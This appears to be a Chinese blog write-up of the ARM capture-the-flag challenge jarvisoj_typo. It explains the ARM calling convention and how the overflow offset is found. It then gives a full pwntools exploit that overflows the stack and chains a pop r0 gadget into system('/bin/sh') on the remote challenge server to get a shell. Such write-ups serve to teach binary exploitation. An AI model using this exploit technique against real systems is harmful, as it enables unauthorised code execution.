ARM PWN

61 篇文章 1 订阅
36 篇文章 0 订阅

arm 下的函数调用约定

函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中

b/bl 等指令实现跳转;
pc 寄存器相当于 x86 的 eip,保存下一条指令的地址

例题jarvisoj_typo

ida发现根本没有主函数,和平常x86和x64架构不同,ida很难分析,我们可以通过gdb来分析
异构pwn环境搭建
在这里插入图片描述
经分析程序必须先输入回车,才能进入下一步
在这里插入图片描述
之后不管深入什么都会报错
因为程序未开启canary,我们可以猜测是栈溢出,且程序是静态链接,可以找到system地址和/bin/sh地址,
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

通过binsh字符串找到system地址
利用cyclic 200生成200个随机字符找偏移
在这里插入图片描述
在这里插入图片描述
输入c继续执行
在这里插入图片描述
在这里插入图片描述
找到偏移为112

exp

from pwn import *
context(endian='little',os='linux',arch='arm',log_level='debug') 
sh = remote('node4.buuoj.cn',29502)
#sh = process(["qemu-arm","./typo"])
sl      = lambda data               :sh.sendline(data)
overlength = 112
binsh = 0x06C384
system = 0x000110B4
pop_r0_r4_pc = 0x00020904
payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)
sl('\n')
sleep(0.01)
sl(payload)
sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值